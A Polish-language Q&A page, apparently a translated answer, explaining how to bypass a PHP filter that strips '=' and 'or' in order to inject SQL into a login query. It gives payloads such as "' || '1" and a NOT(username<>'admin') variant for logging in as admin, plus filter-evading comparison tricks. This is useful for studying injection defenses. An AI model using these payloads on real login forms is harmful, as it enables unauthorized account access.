Mysql
 sql >> Baza danych >  >> RDS >> Mysql

Wstrzyknięcie SQL z filtrowaniem php

Zakładając ta definicja lvl2_filter , co zasadniczo usuwa każde wystąpienie = i or dopóki nie zostanie znaleziony, nadal powinno być możliwe użycie operacja logiczna OR z || zamiast OR i proste wyrażenie, którego wynikiem jest prawda, na przykład:

username: dummy
password: ' || '1

Spowodowałoby to:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Aby wybrać konkretnego użytkownika, można użyć zasad algebry logicznej , gdzie x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Spowodowałoby to:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Tutaj <> jest odpowiednikiem != ale nie zawiera = .

Istnieją również inne operacje, których można użyć, zapewniając nazwa użytkownika równa się admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. MySQL - GROUP BY z ORDER DESC nie działa

  2. Jak codziennie uruchamiać skrypt php?

  3. Laravel 5.4 na PHP 7.0:Wyjątek PDO — nie można znaleźć sterownika (MySQL)

  4. Jak uzyskać listę miesięcy między dwiema datami w mysql

  5. Nodejs wyraża i obiecuje nie robić tego, czego oczekuję